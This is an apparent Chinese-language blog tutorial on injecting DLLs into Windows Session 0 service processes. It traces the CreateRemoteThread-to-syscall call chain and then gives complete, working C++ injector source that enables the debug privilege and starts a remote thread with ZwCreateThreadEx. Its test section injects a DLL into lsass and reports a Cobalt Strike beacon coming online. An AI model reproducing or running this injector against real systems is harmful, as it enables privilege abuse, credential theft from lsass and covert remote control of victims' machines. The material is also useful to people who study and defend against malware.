前言
当我们使用远程线程注入将dll注入至系统服务进程中往往会失败,这是因为大多数系统服务都是在Session0中运行的
"Session 0"是Windows操作系统中的一个特殊的会话,专门用于运行系统服务和其他在用户登录之前就需要运行的程序。从Windows Vista和Windows Server 2008开始,为了提高安全性,Windows将用户和系统服务分隔在不同的会话中。具体来说,所有的服务和系统任务都在Session 0中运行,而所有用户交互任务都在其他会话中运行
"Session 0注入"一般指的是把一个程序(通常是一个恶意程序)注入到Session 0的过程。因为Session 0有许多特权,所以如果恶意程序能够成功注入到Session 0,就可以获得比正常用户更高的权限,从而进行更多的恶意操作
然而,由于Windows Vista和后续版本的Windows的安全性提高,使得Session 0注入变得更加困难。尤其是,Session 0是隔离的,不能直接与用户的图形会话进行交互
远程线程注入函数调用流程
1.CreateRemoteThreadStub
CreateRemoteThreadStub
是在kernel32.dll
中,用于对CreateRemoteThread
函数的封装,对CreateRemoteThread
的参数进行处理,由原来的7个参数扩展到8个参数,并对dwCreationFlags
参数进行安全处理
2.CreateRemoteThread
CreateRemoteThread
函数位于KernelBase.dll中,最终调用了NtCreateThreadEx
函数
3.NtCreateThread
NtCreateThread
是内核级别的函数,它是属于NTDLL库中的一部分。NTDLL库中的函数主要是由操作系统的内核(即内核模式)使用的,而用户模式的程序一般不直接调用这些函数
mov eax, 0C7h
:将值0c7h
移动至eax寄存器,表示执行编号为0c7h
的系统调用
syscall
:这是执行系统调用的指令。系统调用编号和参数应在此之前已被设置好(在这种情况下,通过将 0xC7
和 rcx
的内容移动到 eax
和 r10
)
这段代码表示执行编号为 0xC7
的系统调用,如果 ds:7FFE0308h
的最低位被设置,那么在系统调用前会先跳转到另一段代码(位于 loc_1800A0525
,使用int 2Eh
中断进入内核)。如果该位未被设置,那么直接执行系统调用
总结
以下是CreateRemoteThread
函数的调用流程图
- 应用程序调用
CreateRemoteThread
,这是一个由kernel32.dll
提供的 Win32 API,用于在另一个进程的地址空间中创建新线程。 CreateRemoteThread
内部调用CreateRemoteThreadEx
,这是一个由KernelBase.dll
提供的更底层的 API,提供了更多的选项,比如可以指定安全描述符,可以控制新线程是否立即开始运行等CreateRemoteThreadEx
内部调用NtCreateThreadEx
,这是由ntdll.dll
提供的 Native API,也是用户空间可以直接调用的最底层的 API。NtCreateThreadEx
函数设置好系统调用的参数后,执行syscall
指令,切换到内核模式。- 在内核模式下,根据
syscall
提供的系统调用编号,在 SSDT 表中查找对应的内核函数。 - 执行 SSDT 表中找到的函数,完成线程的创建。
普通线程和远程线程的区别
可以看到普通线程函数CreateThread
也调用了CreateRemoteThread
函数,只不过其线程句柄参数的值为-1,而远程线程的句柄参数为一个具体的值
代码实现思路
1.ZwCreateThread
函数的声明及定义
当我们使用DLL注入系统服务的进程时会失败,失败的原因在于,当CreateRemoteThread
函数尝试在Session 0隔离的系统服务进程中注入DLL时,它通过调用ZwCreateThread
函数创建远程线程,其中第七个参数CreateThreadFlags
被设置为1。这意味着创建的线程在完成后将被挂起,无法被恢复,因此导致注入失败。为了成功注入,需通过调用ZwCreateThreadEx
函数将此参数修改为0。
以下是对ZwCreateThreadEx
函数的描述:
NTSTATUS ZwCreateThreadEx(
OUT PHANDLE ThreadHandle, //输出参数,新创建的线程的句柄。
IN ACCESS_MASK DesiredAccess, //所需的访问权限标志,例如PROCESS_ALL_ACCESS代表全部权限
IN PVOID ObjectAttributes, //对象的属性,通常为NULL。
IN HANDLE ProcessHandle, //所创建线程将要在其内运行的进程的句柄
IN PTHREAD_START_ROUTINE StartRoutine, //新线程的开始地址
IN PVOID Argument, //要传递给新线程的参数
IN ULONG CreateFlags, //要传递给新线程的参数
//ZeroBits, StackSize, MaximumStackSize: 这些参数一般设置为0,表示使用默认的堆栈大小
IN ULONG_PTR ZeroBits,
IN SIZE_T StackSize,
IN SIZE_T MaximumStackSize,
IN PPS_ATTRIBUTE_LIST AttributeList //用于传递更高级的线程属性,通常设置为NULL
);
由于ZwCreateThread
函数未在官方文档中说明,所以我们需对ZwCreateThread
函数进行声明:
#ifdef _WIN64
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
然后通过GetProcAddress
函数来获取这个函数
HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
Fn_ZwCreateThreadEx ZwCreateThreadEx = (Fn_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
printf("GetProcAddress error\n");
return -1;
}
2.提升进程权限
如果要将dll注入至系统服务进程,还需提升当前进程的权限,以下是提权函数的代码:
// 提权函数,启用调试特权
BOOL EnableDebugPrivilege()
{
HANDLE hToken; // 用于保存进程访问令牌的句柄
BOOL fOk = FALSE; // 用于保存函数是否执行成功的状态
// 获取当前进程的访问令牌
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp; // 用于保存特权信息的结构体
tp.PrivilegeCount = 1; // 设置特权数量为1
// 获取“Debug Programs”特权的本地唯一标识符(LUID)
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 设置特权的属性为启用
// 调整访问令牌,启用“Debug Programs”特权
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS); // 检查是否成功启用特权
CloseHandle(hToken); // 关闭访问令牌的句柄
}
return fOk; // 返回函数是否执行成功的状态
}
3.Session0注入函数
此函数的主要作用是在Session0中注入指定的DLL。其步骤包括提权、打开目标进程、在目标进程中分配内存并写入DLL路径、获取LoadLibraryA函数地址、获取ZwCreateThreadEx函数地址、在目标进程中创建线程运行LoadLibraryA函数,最后释放资源
BOOL Session0Inject(DWORD pid, char* dllPath)
{
EnableDebugPrivilege(); //提权
DWORD DllNameLength = strlen(dllPath); //获取dll路径名的长度
// 检查文件是否存在 注意:<filesystem>库需使用支持C++17或更高版本的编译器
if (!std::filesystem::exists(dllPath)) {
printf("指定的DLL文件不存在\n");
return -1;
}
//1 获取目的进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL)
{
printf("打开进程失败: %d\n", GetLastError());
return -1;
}
//2 为目的进程分配内存,用于存放Loadlibrary传入的参数,即dll的路径
VOID* paraAddr = VirtualAllocEx(hProcess, NULL, DllNameLength + 1, MEM_COMMIT, PAGE_READWRITE);
if (NULL == paraAddr)
{
printf("内存分配失败\n");
return -1;
}
//3 将DLL的路径写到目标进程的内存
if (!WriteProcessMemory(hProcess, paraAddr, dllPath, DllNameLength + 1, NULL))
{
printf("写入内存失败!\n");
return false;
}
//4 获取loadlibrary函数的地址
HMODULE LibHandle = GetModuleHandle("kernel32.dll");
FARPROC ProcAdd = GetProcAddress(LibHandle, "LoadLibraryA");
if (!ProcAdd)
{
printf("获取LoadLibraryA失败!\n");
return false;
}
//5 通过调用GetProcAddress函数来获取ZwCreateThreadEx函数的地址
HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
DWORD dwStatus;
HANDLE hRemoteThread;
Fn_ZwCreateThreadEx ZwCreateThreadEx = (Fn_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
printf("GetProcAddress error\n");
return -1;
}
//6 使用获取到的ZwCreateThreadEx函数在目标进程中创建线程,运行LoadLibraryA函数,参数为DLL路径
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
(LPTHREAD_START_ROUTINE)ProcAdd, paraAddr, 0, 0, 0, 0, NULL);
if (NULL == ZwCreateThreadEx)
{
printf("ZwCreateThreadEx error\n");
return -1;
}
//释放dll
FreeLibrary(hNtdllDll);
//释放句柄
CloseHandle(hRemoteThread);
CloseHandle(hProcess);
}
完整代码
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <string>
#include <filesystem>
#ifdef _WIN64
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
//获取进程ID的函数
DWORD GetProcessIdByName(const std::wstring& name) {
DWORD pid = 0;
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap != INVALID_HANDLE_VALUE) {
PROCESSENTRY32W entry = { sizeof(entry) };
if (Process32FirstW(snap, &entry)) {
do {
if (std::wstring(entry.szExeFile) == name) {
pid = entry.th32ProcessID;
break;
}
} while (Process32NextW(snap, &entry));
}
CloseHandle(snap);
}
return pid;
}
//提权函数,启用调试特权
//这个函数的主要作用是启用当前进程的“debug programs”特权,这个特权允许进程附加到其他进程并控制它们
BOOL EnableDebugPrivilege()
{
HANDLE hToken; // 用于保存进程访问令牌的句柄
BOOL fOk = FALSE; // 用于保存函数是否执行成功的状态
// 获取当前进程的访问令牌
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp; // 用于保存特权信息的结构体
tp.PrivilegeCount = 1; // 设置特权数量为1
// 获取“Debug Programs”特权的本地唯一标识符(LUID)
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 设置特权的属性为启用
// 调整访问令牌,启用“Debug Programs”特权
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS); // 检查是否成功启用特权
CloseHandle(hToken); // 关闭访问令牌的句柄
}
return fOk; // 返回函数是否执行成功的状态
}
BOOL Session0Inject(DWORD pid, char* dllPath)
{
EnableDebugPrivilege(); //提权
DWORD DllNameLength = strlen(dllPath); //获取dll路径名的长度
// 检查文件是否存在 注意:<filesystem>库需使用支持C++17或更高版本的编译器
if (!std::filesystem::exists(dllPath)) {
printf("指定的DLL文件不存在\n");
return -1;
}
//1 获取目的进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL)
{
printf("打开进程失败: %d\n", GetLastError());
return -1;
}
//2 为目的进程分配内存,用于存放Loadlibrary传入的参数,即dll的路径
VOID* paraAddr = VirtualAllocEx(hProcess, NULL, DllNameLength + 1, MEM_COMMIT, PAGE_READWRITE);
if (NULL == paraAddr)
{
printf("内存分配失败\n");
return -1;
}
//3 将DLL的路径写到目标进程的内存
if (!WriteProcessMemory(hProcess, paraAddr, dllPath, DllNameLength + 1, NULL))
{
printf("写入内存失败!\n");
return false;
}
//4 获取loadlibrary函数的地址
HMODULE LibHandle = GetModuleHandle("kernel32.dll");
FARPROC ProcAdd = GetProcAddress(LibHandle, "LoadLibraryA");
if (!ProcAdd)
{
printf("获取LoadLibraryA失败!\n");
return false;
}
//5 通过调用GetProcAddress函数来获取ZwCreateThreadEx函数的地址
HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
DWORD dwStatus;
HANDLE hRemoteThread;
Fn_ZwCreateThreadEx ZwCreateThreadEx = (Fn_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
printf("GetProcAddress error\n");
return -1;
}
//6 使用获取到的ZwCreateThreadEx函数在目标进程中创建线程,运行LoadLibraryA函数,参数为DLL路径
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
(LPTHREAD_START_ROUTINE)ProcAdd, paraAddr, 0, 0, 0, 0, NULL);
if (NULL == ZwCreateThreadEx)
{
printf("ZwCreateThreadEx error\n");
return -1;
}
//释放dll
FreeLibrary(hNtdllDll);
//释放句柄
CloseHandle(hRemoteThread);
CloseHandle(hProcess);
}
int main(int argc, char* argv[])
{
if (argc == 3)
{
//atoi函数可将字符串转化为整数
BOOL bRet = Session0Inject((DWORD)atoi(argv[1]), argv[2]);
if (-1 == bRet)
{
printf("Inject dll failed\n");
}
else
{
printf("Inject dll successfully\n");
}
}
else
{
printf("你需输入两个参数,参数1为pid,参数2为dll的绝对路径\n");
exit(1);
}
}
运行测试
首先获取lsass进程的PID,此处为696
以管理员权限运行cmd,使用session0注入将dll注入至lsass进程中
Cobalt Strike成功上线
在火绒剑可以看到lsass进程注入的dll
项目地址
https://github.com/xf555er/Session0_Inject
标签:Session0,函数,dll,会话,线程,DWORD,ZwCreateThreadEx,NULL From: https://www.cnblogs.com/henry666/p/17475487.html